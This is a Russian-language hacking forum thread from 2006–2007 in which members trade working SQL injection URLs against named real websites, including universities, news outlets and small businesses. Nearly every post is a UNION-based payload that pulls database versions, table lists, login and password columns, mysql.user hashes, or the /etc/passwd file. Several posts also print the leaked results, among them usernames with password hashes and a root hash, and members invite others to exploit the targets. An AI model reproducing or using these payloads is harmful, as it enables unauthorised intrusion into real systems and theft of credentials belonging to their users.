SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. _Pantera_

    _Pantera_ Характерне козацтво

    Joined:
    6 Oct 2006
    Messages:
    187
    Likes Received:
    356
    Reputations:
    109
    Code:
    http://www.imperialauto.kz/?page=good_info&id=-2+union+select+1,version(),3,4+from+news/*
     
  2. Joker-jar

    Joker-jar Elder - Старейшина

    Joined:
    11 Mar 2007
    Messages:
    581
    Likes Received:
    205
    Reputations:
    37
    Code:
    http://www.tectonic.co.za/view.php?id=1562+and+ascii(lower(substring(version(),1,1)))=0x34
     
  3. l1ght

    l1ght Elder - Старейшина

    Joined:
    5 Dec 2006
    Messages:
    192
    Likes Received:
    675
    Reputations:
    333
    улыбнул вывод данных :)
    Code:
    [COLOR=LightBlue]http://www.mfd.ru/content.asp?code=2+or+1=(select+top+1+table_name+from+information_schema.tables)--[/COLOR]
    табл:
    Code:
    Anketa
    banBanners
    BankRevolution
    banSystems
    banUsers
    cfgBlocks
    cfgChapters
    cfgContent
    cfgDates
    cfgFields
    cmtChapters
    cmtCommentsViewGeneral
    cmtCommentsViewMood
    cmtInternal
    cmtSource
    cmtStream
    comment_dates_view
    comments
    commentsAnother
    commentsArc
    ctsv_01E0DC7DA24B418AB04757A54FA4992E
    ctsv_0C65853E3F3D4456BCE0F66B2FC5BC57
    ctsv_266AB0DBF03B45CFA299C8D43260FD70
    ctsv_2A8342AADF704B2291CA562D742C43FE
    ctsv_53997158E8364D339560D8ACE5A4ADCF
    ctsv_64CAEC4BBD124DCE98C36B9239948F97
    ctsv_A89FCD59D9024E26AC9B8EECF473AE29
    ctsv_D0D9FB8A3F054A82948C465F27371818
    dtproperties
    dtThemes
    GrfxView
    Locator
    MfdUsers
    mrktInformerSubscriber
    MSdynamicsnapshotjobs
    MSdynamicsnapshotviews
    MSmerge_altsyncpartners
    MSmerge_contents
    MSmerge_delete_conflicts
    MSmerge_errorlineage
    MSmerge_genhistory
    MSmerge_replinfo
    MSmerge_tombstone
    MSrepl_identity_range
    MSreplication_subscriptions
    MSsubscription_agents
    news
    newstoc
    qstAnswers
    qstQuestions
    qstVariants
    Questionary
    Questions
    Rating
    Subscribes NEWS
    sysconstraints
    sysmergearticles
    sysmergeextendedarticlesview
    sysmergepublications
    sysmergeschemaarticles
    sysmergeschemachange
    sysmergesubscriptions
    sysmergesubsetfilters
    syssegments
    tAnonce
    tBI_Client
    tBI_Total
    tDocument
    tempGrfx1
    tempGrfx2
    textadv
    tFnews
    tForum
    tForumMember
    tForumMsg
    tForumMsgState
    tForumRole
    tForumRoleLnk
    tForumStatus
    tForumType
    tGenerator
    TickerLocator
    tMacroIndexType
    tMacroIndexUSD
    tResources
    tRotateNews
    tsvw_01E0DC7DA24B418AB04757A54FA4992E
    tsvw_0C65853E3F3D4456BCE0F66B2FC5BC57
    tsvw_266AB0DBF03B45CFA299C8D43260FD70
    tsvw_2A8342AADF704B2291CA562D742C43FE
    tsvw_53997158E8364D339560D8ACE5A4ADCF
    tsvw_64CAEC4BBD124DCE98C36B9239948F97
    tsvw_A89FCD59D9024E26AC9B8EECF473AE29
    tsvw_D0D9FB8A3F054A82948C465F27371818
    tUserValue
    UserTable
    бабах! =)
    Code:
    [COLOR=LightBlue]http://www.km.ru/tests/tests.asp?code=9+or+1=@@version--[/COLOR]
     
    3 people like this.
  4. hitex

    hitex Member

    Joined:
    25 May 2007
    Messages:
    13
    Likes Received:
    11
    Reputations:
    0
    Code:
    http://sibrc.tsu.ru/region_center.php?id=-2+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,concat_ws(0x203a20,version(),user(),database()),33/*
    http://edu.tsu.ru/index.php?sub=9&page=res&subpage=info&id=-1+union+select+1,2,3,4,5,6,7,8,concat_ws(0x3b20,user(),database(),version()),10,11,12,13,14,15,16,17,18,19,20,21,concat_ws(0x203a20,id,fio,email,status,name,password),23,24,25,27+from+login+limit+0,50/*  
    поле с логинами не осилил =\
     
    1 person likes this.
  5. Ky3bMu4

    Ky3bMu4 Elder - Старейшина

    Joined:
    3 Feb 2007
    Messages:
    487
    Likes Received:
    284
    Reputations:
    42
    http://news.mc.duke.edu/ - PR 7
    Code:
     
    http://news.mc.duke.edu/news/article.php?id=-9863+union+select+user(),2,3,4,5,password,7,8+from+mysql.user/*
    
    User: web
    Password(хеш): 623460e26f081bbc



    http://stmarys-ca.edu/ - PR 6
    Code:
    http://stmarys-ca.edu/news_events/news/viewstory.php?id=-92+union+select+1,2,3,4,user(),6,7,password,9,10,11,12,13,14+from+my
    sql.user/*
    
    User: webdb
    Password(хеш): 456791a12266fca0
     
    #2505 Ky3bMu4, 14 Jun 2007
    Last edited: 14 Jun 2007
    5 people like this.
  6. Hawkins

    Hawkins Elder - Старейшина

    Joined:
    24 Jan 2007
    Messages:
    61
    Likes Received:
    31
    Reputations:
    5
    Проблемы с выводом...кодировку пытался менять - не помогло.
    http://www.kiel.ru/?news=-4+union+select+1,2,3,4,5,6/*
     
  7. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,390
    Likes Received:
    1,209
    Reputations:
    475
    http://www.kiel.ru/?news=-4+union+select+1,2,AES_DECRYPT(AES_ENCRYPT(version(),0x71),0x71),4,5,6/*
     
    7 people like this.
  8. hitex

    hitex Member

    Joined:
    25 May 2007
    Messages:
    13
    Likes Received:
    11
    Reputations:
    0
    Code:
    http://www.leki.med.pl/lek.phtml?id=0+union+select+aes_decrypt(aes_encrypt(concat_ws(0x203a20,version(),user(),database()),324),324)/*&idnlek=255&menu=3
    http://www.voyage-luxe.ru/chapter64.html?uid=-4+union+select+concat_ws(0x3a,version(),user(),database()),2/*
    
     
    1 person likes this.
  9. KPOT_f!nd

    KPOT_f!nd положенец общага

    Joined:
    25 Aug 2006
    Messages:
    1,074
    Likes Received:
    502
    Reputations:
    65
    Харцызский Трубный Завод
    Code:
    http://www.ukrpipe.com.ua/RUS/news.php?id=-1+union+select+1,2,3,table_name+from+information_schema.tables/*
    Всеукраинская техническая газета
    Code:
    http://www.vtg.lg.ua/index.php?year=2006&id=-41+union+select+version(),user(),database(),4,5/*
    Code:
    http://www.cubatravel.cu/client/products/products.php?id=-3+union+select+user(),2/*
     
    3 people like this.
  10. _Pantera_

    _Pantera_ Характерне козацтво

    Joined:
    6 Oct 2006
    Messages:
    187
    Likes Received:
    356
    Reputations:
    109
    Code:
    http://tj.cafspeech.kz/site.php?lan=english&id=2&newsid=-180+union+select+version()/*
    Code:
    http://azgroup.kz/binar.php?id=-2'+union+select+concat(user,char(58),password),version(),3,4,5,6,7,8,9,10,11,12+from+mysql.user/*
     
    #2510 _Pantera_, 15 Jun 2007
    Last edited: 15 Jun 2007
    3 people like this.
  11. Grey

    Grey Banned

    Joined:
    10 Jun 2006
    Messages:
    1,047
    Likes Received:
    1,315
    Reputations:
    1,159
    http://www.voinaimir.ru

    Там почти на каждой странице скуля:

    Code:
    http://www.voinaimir.ru/dicdefinition/?id=-1+union+select+1,2,3,4,5,concat(database(),char(58),user(),char(58),version()),7,8/*
    http://www.voinaimir.ru/dicchapter/?id=-1+union+select+1,2,concat(database(),char(58),user(),char(58),version()),4,5,6/*
    http://www.voinaimir.ru/reviewlist/more/?id=-1+union+select+1,2,3,4,5,6,concat(database(),char(58),user(),char(58),version()),8,9,10,11/*
    http://www.voinaimir.ru/news/more/?id=-1+union+select+1,2,3,4,concat(database(),char(58),user(),char(58),version()),6,7,8,9,10,11/*
     
    1 person likes this.
  12. random

    random Elder - Старейшина

    Joined:
    5 Sep 2006
    Messages:
    50
    Likes Received:
    54
    Reputations:
    11
    Code:
    http://www.coservices.be/main.php?lang=FR&id=-79+union+select+1,2,convert(concat(username,0x3a,password)+using+latin1),4,5,6,7+from+users/*
    wouter:35bd37524b997d6ddd579756fde4756e

    Code:
    http://fots.ru/gal/?gal=-1947+union+select+1,2,3,version(),5,6,7,8,9,10,11/*
     
    2 people like this.
  13. n1†R0x

    n1†R0x Elder - Старейшина

    Joined:
    20 Jan 2007
    Messages:
    728
    Likes Received:
    376
    Reputations:
    235
    хз, от чего пасс, но вывод в тайтле)
    cgi-формы логина в наличии есть, но там другая инфа нужна.. остальные таблицы не подбирал

    Code:
    http://www.sinauer.com/detail.php?id=-1'+union+select+concat(user,0x3a,pass)+from+users/*
    антибаян не пашет, не проверил.. мб кто докопается, все-таки pr = 6 )
     
    3 people like this.
  14. Grey

    Grey Banned

    Joined:
    10 Jun 2006
    Messages:
    1,047
    Likes Received:
    1,315
    Reputations:
    1,159
    Code:
    http://law-c.ru/document.php?id=-1+union+select+1,2,3,concat(database(),char(58),user(),char(58),version()),5/*
    ----------------------------------

    Code:
    http://www.namakon.ru/articles.php?id=9999999999+union+select+1,2,concat(database(),char(58),user(),char(58),version()),4,5,6,7,8,9/*
    /etc/passwd:

    Code:
    http://www.namakon.ru/articles.php?id=9999999999+union+select+1,2,load_file(0x2f6574632f706173737764),4,5,6,7,8,9/*
    ----------------------------------

    Code:
    http://www.vch.ru/cgi-bin/guide.cgi?table_code=12&action=show&id=-1+union+select+1,2,concat(database(),char(58),user(),char(58),version()),4,5,6,7,8/*
    Code:
    http://www.vch.ru/cgi-bin/guide.cgi?table_code=12&action=show&id=-1+union+select+1,2,table_name,4,5,6,7,8+from+information_schema.tables/*
    Code:
    CHARACTER_SETS
    COLLATIONS
    COLLATION_CHARACTER_SET_APPLICABILITY
    COLUMNS
    COLUMN_PRIVILEGES
    KEY_COLUMN_USAGE
    ROUTINES
    SCHEMATA
    SCHEMA_PRIVILEGES
    STATISTICS
    TABLES
    TABLE_CONSTRAINTS
    TABLE_PRIVILEGES
    TRIGGERS
    USER_PRIVILEGES
    VIEWS
    
    ALPHABET
    ALPHABET_ENG
    ANONS
    BELARUS
    BELARUS_V
    CARRIERS
    CARRIERS_ENG
    CONTENT
    CONTENT_ENG
    CRYPTO
    CUSTOMS
    CUSTOMS1
    CUST_BOD
    CUST_BOD_ENG
    CUST_BOD_MOS
    CW
    DEPARTMENTS
    DEPARTMENTS_ENG
    DOCS
    DOCS_EMCTC
    DOCS_ENG
    DOCS_T
    DUTYFREE
    ECONOMY
    ECONOMY_ENG
    EMCTC_CONTENT
    EMCTC_NEWS
    EMCTC_NEWS_SECTIONS
    EVROAZS
    EVROAZS_ENG
    HIT
    INFRINGERS1
    INFRINGERS2
    KAZAHSTAN
    KAZAHSTAN_V
    KLIENTI
    LINKS
    LOGISTIC
    LOGISTIC_ENG
    NEWS
    NEWS_ENG
    OTO
    POPULYR
    PRACTICE
    QUESTIONS_VCH
    REFERATS
    REVIEW
    REVIEW_ENG
    RUMORS
    RUMORS_ENG
    SEMINARS
    SHIFR
    SHIT
    SearchStrings
    TEMP
    TEXT
    TEXT_ENG
    TW
    UKRAINA
    UKRAINA_V
    VASYANYA
    VTOROSSII
    WAREHOUSES
    aaa
    banners
    banners_eng
    baz_sklad
    doska_bodies
    doska_headers
    garant_banks
    item
    item_group
    job_bodies
    job_headers
    price30
    tam
     
    4 people like this.
  15. _Pantera_

    _Pantera_ Характерне козацтво

    Joined:
    6 Oct 2006
    Messages:
    187
    Likes Received:
    356
    Reputations:
    109
    Code:
    http://www.turimpex.ru/pg.php?id=-2'+union+select+1,2,3,4,5,6,7,version(),9,10,11,12,13/*
    Code:
    http://oncoplastic.ru/rak.php?id=-2+union+select+1,AES_DECRYPT(AES_ENCRYPT(email,0x78),0x78),3,4,5,6+from+admin/*
    Code:
    http://www.datacd.ru/faq.php?id=-2+union+select+1,version(),3+from+news/*
     
    3 people like this.
  16. [53x]Shadow

    [53x]Shadow Leaders of Antichat

    Joined:
    25 Jan 2007
    Messages:
    284
    Likes Received:
    597
    Reputations:
    514
    Национальная Академия Социальных Технологий

    www.st-academy.ru


    Достаем имя пользователя, базы и версию мускула:
    Code:
    http://st-academy.ru/nast/news/?id=-1+union+select+1,concat(user(),0x3b,database()),3,convert(version(),char),5,6,7,8,9/*
    Форум самописный и там ничего интересного, зато есть таблица user:
    Code:
    http://st-academy.ru/nast/news/?id=-1+union+select+1,concat(login,0x3b,email,0x3b,icq,0x3b,pass),3,4,5,6,7,8,9+from+user+limit+1,20/*
    пароли в открытом виде, лимит вам в помощь ;)
     
    2 people like this.
  17. KPOT_f!nd

    KPOT_f!nd положенец общага

    Joined:
    25 Aug 2006
    Messages:
    1,074
    Likes Received:
    502
    Reputations:
    65
    Code:
    http://www.music3000.com.ua/?p=club&sp=news&id=-348+union+select+concat(login,char(58),pass)+from+users/*
     
    #2517 KPOT_f!nd, 16 Jun 2007
    Last edited: 16 Jun 2007
    3 people like this.
  18. LoneWolf666

    LoneWolf666 Elder - Старейшина

    Joined:
    9 Dec 2005
    Messages:
    207
    Likes Received:
    121
    Reputations:
    12
    http://www.xclan.ru/showthread.php?t=425
    дак это кто из вас нашёл то?
    а так +
     
  19. random

    random Elder - Старейшина

    Joined:
    5 Sep 2006
    Messages:
    50
    Likes Received:
    54
    Reputations:
    11
    Code:
    http://www.vigray.ru/heading/index.php?iid=-237+union+select+1,2,concat(login,0x3a,pass),4,5,6,7+from+users/*
    Code:
    http://tutvsesvoi.ru/index.php?do=info&iID=-10+union+select+1,version(),3,4,5,6/*
     
  20. Ky3bMu4

    Ky3bMu4 Elder - Старейшина

    Joined:
    3 Feb 2007
    Messages:
    487
    Likes Received:
    284
    Reputations:
    42
    yahoo - рулез!
    yahoo`ярю! (с)
    Всё - .edu !
    Code:
    http://www.skio.peachnet.edu/resources/library/serials.php?action=view&print=1&id=-57+union+select+version(),user()/* 
    http://www.ksg.[SIZE=3][COLOR=Red]harvard[/COLOR][/SIZE].edu/iop/students_internships_db.php?action=id&id=-5+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25/* - [SIZE=3][COLOR=Red]PR 8[/COLOR] [/SIZE] 
    
    http://journalism.berkeley.edu/events/details.php?ID=-322+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,
    
    22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54/*
    http://alliance.la.asu.edu/azga/lp_view.php?lesson_id=-390+union+select+version()/* - в самом низу
    http://www.loyno.edu/civildiscourse/journal.php?action=article_view&topic_id=4&article_id=-5+union+select+1,2,3,4,5,6,7,8,9,10,11,12+from+mysql.user/*
    
    У многих есть доступ к таблице user, PR от 4 до 8. Разбирайте!

    Спасибо огромное Isis!!! Сладенькое:
    http://www.library.vcu.edu/ - PR 6

    Code:
    http://www.library.vcu.edu/whatsnew/news_result.cfm?ID=-744+union+select+1,2,convert(concat_ws(0x3b,password,user)using%20latin1),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19+from+mysql.user
    
    User: root
    Password: 3f378de07c02b3c4


    P.S.
    Эээ... а что означает вывод:
    ???
     
    #2520 Ky3bMu4, 16 Jun 2007
    Last edited: 16 Jun 2007
    3 people like this.
Loading...
Thread Status:
Not open for further replies.